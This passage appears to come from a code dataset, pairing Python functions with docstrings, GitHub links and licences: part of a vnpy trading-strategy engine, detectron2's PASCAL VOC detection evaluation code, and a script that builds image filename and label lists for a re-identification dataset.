self.classes.get(class_name, None) if not strategy_class: self.write_log(f"创建策略失败,找不到策略类{class_name}") return if "." not in vt_symbol: self.write_log("创建策略失败,本地代码缺失交易所后缀") return _, exchange_str = vt_symbol.split(".") if exchange_str not in Exchange.__members__: self.write_log("创建策略失败,本地代码的交易所后缀不正确") return strategy = strategy_class(self, strategy_name, vt_symbol, setting) self.strategies[strategy_name] = strategy strategies = self.symbol_strategy_map[vt_symbol] strategies.append(strategy) self.update_strategy_setting(strategy_name, setting) self.put_strategy_event(strategy) def init_strategy(self, strategy_name: str): self.init_executor.submit(self._init_strategy, strategy_name) def _init_strategy(self, strategy_name: str): strategy = self.strategies[strategy_name] if strategy.inited: self.write_log(f"{strategy_name}已经完成初始化,禁止重复操作") return self.write_log(f"{strategy_name}开始执行初始化") self.call_strategy_func(strategy, strategy.on_init) data = self.strategy_data.get(strategy_name, None) if data: for name in strategy.variables: value = data.get(name, None) if value: setattr(strategy, name, value) contract = self.main_engine.get_contract(strategy.vt_symbol) if contract: req = SubscribeRequest( symbol=contract.symbol, exchange=contract.exchange) self.main_engine.subscribe(req, contract.gateway_name) else: self.write_log(f"行情订阅失败,找不到合约{strategy.vt_symbol}", strategy) strategy.inited = True self.put_strategy_event(strategy) self.write_log(f"{strategy_name}初始化完成") def start_strategy(self, strategy_name: str): strategy = self.strategies[strategy_name] if not strategy.inited: self.write_log(f"策略{strategy.strategy_name}启动失败,请先初始化") return if strategy.trading: self.write_log(f"{strategy_name}已经启动,请勿重复操作") return self.call_strategy_func(strategy, strategy.on_start) strategy.trading = True self.put_strategy_event(strategy) def stop_strategy(self, strategy_name: str): strategy = self.strategies[strategy_name] if not strategy.trading: return self.call_strategy_func(strategy, strategy.on_stop) strategy.trading = False self.cancel_all(strategy) self.sync_strategy_data(strategy) self.put_strategy_event(strategy) def edit_strategy(self, strategy_name: str, setting: dict): strategy = self.strategies[strategy_name] strategy.update_setting(setting) self.update_strategy_setting(strategy_name, setting) self.put_strategy_event(strategy) def remove_strategy(self, strategy_name: str): strategy = self.strategies[strategy_name] if strategy.trading: self.write_log(f"策略{strategy.strategy_name}移除失败,请先停止") return self.remove_strategy_setting(strategy_name) strategies = self.symbol_strategy_map[strategy.vt_symbol] strategies.remove(strategy) if strategy_name in self.strategy_orderid_map: vt_orderids = self.strategy_orderid_map.pop(strategy_name) for vt_orderid in vt_orderids: if vt_orderid in self.orderid_strategy_map: self.orderid_strategy_map.pop(vt_orderid) self.strategies.pop(strategy_name) self.write_log(f"策略{strategy.strategy_name}移除移除成功") return True def load_strategy_class(self): path1 = Path(__file__).parent.joinpath("strategies") self.load_strategy_class_from_folder(path1, "vnpy_ctastrategy.strategies") path2 = Path.cwd().joinpath("strategies") self.load_strategy_class_from_folder(path2, "strategies") def load_strategy_class_from_folder(self, path: Path, module_name: str = ""): for suffix in ["py", "pyd", "so"]: pathname: str = str(path.joinpath(f"*.{suffix}")) for filepath in glob(pathname): filename: str = Path(filepath).stem name: str = f"{module_name}.{filename}" self.load_strategy_class_from_module(name) def load_strategy_class_from_module(self, module_name: str): try: module = importlib.import_module(module_name) importlib.reload(module) for name in dir(module): value = getattr(module, name) if (isinstance(value, type) and issubclass(value, CtaTemplate) and value is not CtaTemplate): self.classes[value.__name__] = value except: msg = f"策略文件{module_name}加载失败,触发异常:\n{traceback.format_exc()}" self.write_log(msg) def load_strategy_data(self): self.strategy_data = load_json(self.data_filename) def sync_strategy_data(self, strategy: CtaTemplate): data = strategy.get_variables() data.pop("inited") data.pop("trading") self.strategy_data[strategy.strategy_name] = data save_json(self.data_filename, self.strategy_data) def get_all_strategy_class_names(self): return list(self.classes.keys()) def get_strategy_class_parameters(self, class_name: str): strategy_class = self.classes[class_name] parameters = {} for name in strategy_class.parameters: parameters[name] = getattr(strategy_class, name) return parameters def get_strategy_parameters(self, strategy_name): strategy = self.strategies[strategy_name] return strategy.get_parameters() def init_all_strategies(self): for strategy_name in self.strategies.keys(): self.init_strategy(strategy_name) def start_all_strategies(self): for strategy_name in self.strategies.keys(): self.start_strategy(strategy_name) def stop_all_strategies(self): for strategy_name in self.strategies.keys(): self.stop_strategy(strategy_name) def load_strategy_setting(self): self.strategy_setting = load_json(self.setting_filename) for strategy_name, strategy_config in self.strategy_setting.items(): self.add_strategy( strategy_config["class_name"], strategy_name, strategy_config["vt_symbol"], strategy_config["setting"] ) def update_strategy_setting(self, strategy_name: str, setting: dict): strategy = self.strategies[strategy_name] self.strategy_setting[strategy_name] = { "class_name": strategy.__class__.__name__, "vt_symbol": strategy.vt_symbol, "setting": setting, } save_json(self.setting_filename, self.strategy_setting) def remove_strategy_setting(self, strategy_name: str): if strategy_name not in self.strategy_setting: return self.strategy_setting.pop(strategy_name) save_json(self.setting_filename, self.strategy_setting) def put_stop_order_event(self, stop_order: StopOrder): event = Event(EVENT_CTA_STOPORDER, stop_order) self.event_engine.put(event) def put_strategy_event(self, strategy: CtaTemplate): data = strategy.get_data() event = Event(EVENT_CTA_STRATEGY, data) self.event_engine.put(event) def write_log(self, msg: str, strategy: CtaTemplate = None): if strategy: msg = f"[{strategy.strategy_name}] {msg}" log = LogData(msg=msg, gateway_name=APP_NAME) event = Event(type=EVENT_CTA_LOG, data=log) self.event_engine.put(event)
MIT License
res2net/res2net-detectron2
detectron2/evaluation/pascal_voc_evaluation.py
voc_eval
python
def voc_eval(detpath, annopath, imagesetfile, classname, ovthresh=0.5, use_07_metric=False): with PathManager.open(imagesetfile, "r") as f: lines = f.readlines() imagenames = [x.strip() for x in lines] recs = {} for imagename in imagenames: recs[imagename] = parse_rec(annopath.format(imagename)) class_recs = {} npos = 0 for imagename in imagenames: R = [obj for obj in recs[imagename] if obj["name"] == classname] bbox = np.array([x["bbox"] for x in R]) difficult = np.array([x["difficult"] for x in R]).astype(np.bool) det = [False] * len(R) npos = npos + sum(~difficult) class_recs[imagename] = {"bbox": bbox, "difficult": difficult, "det": det} detfile = detpath.format(classname) with open(detfile, "r") as f: lines = f.readlines() splitlines = [x.strip().split(" ") for x in lines] image_ids = [x[0] for x in splitlines] confidence = np.array([float(x[1]) for x in splitlines]) BB = np.array([[float(z) for z in x[2:]] for x in splitlines]).reshape(-1, 4) sorted_ind = np.argsort(-confidence) BB = BB[sorted_ind, :] image_ids = [image_ids[x] for x in sorted_ind] nd = len(image_ids) tp = np.zeros(nd) fp = np.zeros(nd) for d in range(nd): R = class_recs[image_ids[d]] bb = BB[d, :].astype(float) ovmax = -np.inf BBGT = R["bbox"].astype(float) if BBGT.size > 0: ixmin = np.maximum(BBGT[:, 0], bb[0]) iymin = np.maximum(BBGT[:, 1], bb[1]) ixmax = np.minimum(BBGT[:, 2], bb[2]) iymax = np.minimum(BBGT[:, 3], bb[3]) iw = np.maximum(ixmax - ixmin + 1.0, 0.0) ih = np.maximum(iymax - iymin + 1.0, 0.0) inters = iw * ih uni = ( (bb[2] - bb[0] + 1.0) * (bb[3] - bb[1] + 1.0) + (BBGT[:, 2] - BBGT[:, 0] + 1.0) * (BBGT[:, 3] - BBGT[:, 1] + 1.0) - inters ) overlaps = inters / uni ovmax = np.max(overlaps) jmax = np.argmax(overlaps) if ovmax > ovthresh: if not R["difficult"][jmax]: if not R["det"][jmax]: tp[d] = 1.0 R["det"][jmax] = 1 else: fp[d] = 1.0 else: fp[d] = 1.0 fp = np.cumsum(fp) tp = np.cumsum(tp) rec = tp / float(npos) prec = tp / np.maximum(tp + fp, np.finfo(np.float64).eps) ap = voc_ap(rec, prec, use_07_metric) return rec, prec, ap
rec, prec, ap = voc_eval(detpath, annopath, imagesetfile, classname, [ovthresh], [use_07_metric]) Top level function that does the PASCAL VOC evaluation. detpath: Path to detections detpath.format(classname) should produce the detection results file. annopath: Path to annotations annopath.format(imagename) should be the xml annotations file. imagesetfile: Text file containing the list of images, one image per line. classname: Category name (duh) [ovthresh]: Overlap threshold (default = 0.5) [use_07_metric]: Whether to use VOC07's 11 point AP computation (default False)
https://github.com/res2net/res2net-detectron2/blob/3677895d5d23635b67837e64a79370b9ee117c27/detectron2/evaluation/pascal_voc_evaluation.py#L181-L294
import logging import numpy as np import os import tempfile import xml.etree.ElementTree as ET from collections import OrderedDict, defaultdict from functools import lru_cache import torch from fvcore.common.file_io import PathManager from detectron2.data import MetadataCatalog from detectron2.utils import comm from .evaluator import DatasetEvaluator class PascalVOCDetectionEvaluator(DatasetEvaluator): def __init__(self, dataset_name): self._dataset_name = dataset_name meta = MetadataCatalog.get(dataset_name) self._anno_file_template = os.path.join(meta.dirname, "Annotations", "{}.xml") self._image_set_path = os.path.join(meta.dirname, "ImageSets", "Main", meta.split + ".txt") self._class_names = meta.thing_classes assert meta.year in [2007, 2012], meta.year self._is_2007 = meta.year == 2007 self._cpu_device = torch.device("cpu") self._logger = logging.getLogger(__name__) def reset(self): self._predictions = defaultdict(list) def process(self, inputs, outputs): for input, output in zip(inputs, outputs): image_id = input["image_id"] instances = output["instances"].to(self._cpu_device) boxes = instances.pred_boxes.tensor.numpy() scores = instances.scores.tolist() classes = instances.pred_classes.tolist() for box, score, cls in zip(boxes, scores, classes): xmin, ymin, xmax, ymax = box xmin += 1 ymin += 1 self._predictions[cls].append( f"{image_id} {score:.3f} {xmin:.1f} {ymin:.1f} {xmax:.1f} {ymax:.1f}" ) def evaluate(self): all_predictions = comm.gather(self._predictions, dst=0) if not comm.is_main_process(): return predictions = defaultdict(list) for predictions_per_rank in all_predictions: for clsid, lines in predictions_per_rank.items(): predictions[clsid].extend(lines) del all_predictions self._logger.info( "Evaluating {} using {} metric. " "Note that results do not use the official Matlab API.".format( self._dataset_name, 2007 if self._is_2007 else 2012 ) ) with tempfile.TemporaryDirectory(prefix="pascal_voc_eval_") as dirname: res_file_template = os.path.join(dirname, "{}.txt") aps = defaultdict(list) for cls_id, cls_name in enumerate(self._class_names): lines = predictions.get(cls_id, [""]) with open(res_file_template.format(cls_name), "w") as f: f.write("\n".join(lines)) for thresh in range(50, 100, 5): rec, prec, ap = voc_eval( res_file_template, self._anno_file_template, self._image_set_path, cls_name, ovthresh=thresh / 100.0, use_07_metric=self._is_2007, ) aps[thresh].append(ap * 100) ret = OrderedDict() mAP = {iou: np.mean(x) for iou, x in aps.items()} ret["bbox"] = {"AP": np.mean(list(mAP.values())), "AP50": mAP[50], "AP75": mAP[75]} return ret @lru_cache(maxsize=None) def parse_rec(filename): with PathManager.open(filename) as f: tree = ET.parse(f) objects = [] for obj in tree.findall("object"): obj_struct = {} obj_struct["name"] = obj.find("name").text obj_struct["pose"] = obj.find("pose").text obj_struct["truncated"] = int(obj.find("truncated").text) obj_struct["difficult"] = int(obj.find("difficult").text) bbox = obj.find("bndbox") obj_struct["bbox"] = [ int(bbox.find("xmin").text), int(bbox.find("ymin").text), int(bbox.find("xmax").text), int(bbox.find("ymax").text), ] objects.append(obj_struct) return objects def voc_ap(rec, prec, use_07_metric=False): if use_07_metric: ap = 0.0 for t in np.arange(0.0, 1.1, 0.1): if np.sum(rec >= t) == 0: p = 0 else: p = np.max(prec[rec >= t]) ap = ap + p / 11.0 else: mrec = np.concatenate(([0.0], rec, [1.0])) mpre = np.concatenate(([0.0], prec, [0.0])) for i in range(mpre.size - 1, 0, -1): mpre[i - 1] = np.maximum(mpre[i - 1], mpre[i]) i = np.where(mrec[1:] != mrec[:-1])[0] ap = np.sum((mrec[i + 1] - mrec[i]) * mpre[i + 1]) return ap
Apache License 2.0
yingzhangdut/deep-mutual-learning
datasets/make_filename_list.py
run
python
def run(image_dir, output_dir, split_name): if split_name == 'bounding_box_train': _make_train_list(image_dir, output_dir, split_name) else: _make_test_list(image_dir, output_dir, split_name)
Make list file for images. Args: image_dir: The image directory where the raw images are stored. output_dir: The directory where the lists and tfrecords are stored. split_name: The split name of dataset.
https://github.com/yingzhangdut/deep-mutual-learning/blob/34a20583debe4e0dab1d9856db69bed278c5c011/datasets/make_filename_list.py#L51-L62
import numpy as np from glob import glob from utils import * def _save(file_label_list, file_path): content = ['{} {}'.format(x, y) for x, y in file_label_list] write_list(content, file_path) def _get_train_list(files): ret = [] for views in files: for v in views: for f in v: label = int(osp.basename(f)[7:12]) ret.append((f, label)) return np.asarray(ret) def _make_train_list(image_dir, output_dir, split_name): meta = read_json(osp.join(image_dir, 'meta.json')) identities = np.asarray(meta['identities']) images = _get_train_list(identities) _save(images, os.path.join(output_dir, '%s.txt' % split_name)) def _get_test_list(files): ret = [] for f in files: if osp.basename(f)[:2] == '-1': label = int(osp.basename(f)[:2]) else: label = int(osp.basename(f)[:4]) ret.append((osp.basename(f), label)) return np.asarray(ret) def _make_test_list(image_dir, output_dir, split_name): files = sorted(glob(osp.join(image_dir, '*.jpg'))) images = _get_test_list(files) _save(images, os.path.join(output_dir, '%s.txt' % split_name))
MIT License